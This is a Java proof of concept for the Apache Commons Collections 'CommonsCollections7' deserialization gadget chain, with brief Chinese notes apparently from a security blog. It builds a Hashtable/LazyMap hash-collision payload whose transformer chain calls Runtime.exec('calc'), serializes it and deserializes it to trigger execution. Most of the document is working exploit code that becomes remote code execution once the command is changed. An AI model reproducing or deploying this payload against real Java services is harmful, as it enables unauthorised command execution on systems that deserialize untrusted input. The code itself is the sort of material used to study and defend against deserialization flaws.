package CommonsCollections; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class CommonsCollections7 { public static void main(String[] args) throws Exception{ Transformer Testtransformer = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; Map map1=new HashMap(); Map map2=new HashMap(); Map lazyMap1= LazyMap.decorate(map1,Testtransformer); Map lazyMap2= LazyMap.decorate(map2,Testtransformer); lazyMap1.put("yy",1); lazyMap2.put("zZ",1); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2); lazyMap2.remove("yy"); //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令 Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(Testtransformer, transformers); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out")); outputStream.writeObject(hashtable); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out")); inputStream.readObject(); } }
这里需要注意的是我们加了一行这个代码:lazyMap2.remove("yy");
,因为org.apache.commons.collections.map.LazyMap#get
的时候会进行put操作,所以此时会多出一个yy
的元素,所以需要将其移除,否则无法正常反序列化
貌似没啥好总结的感觉挺水的,CommonsCollections1-7
的链调试一下ysoserial
应该基本都能看懂.jpg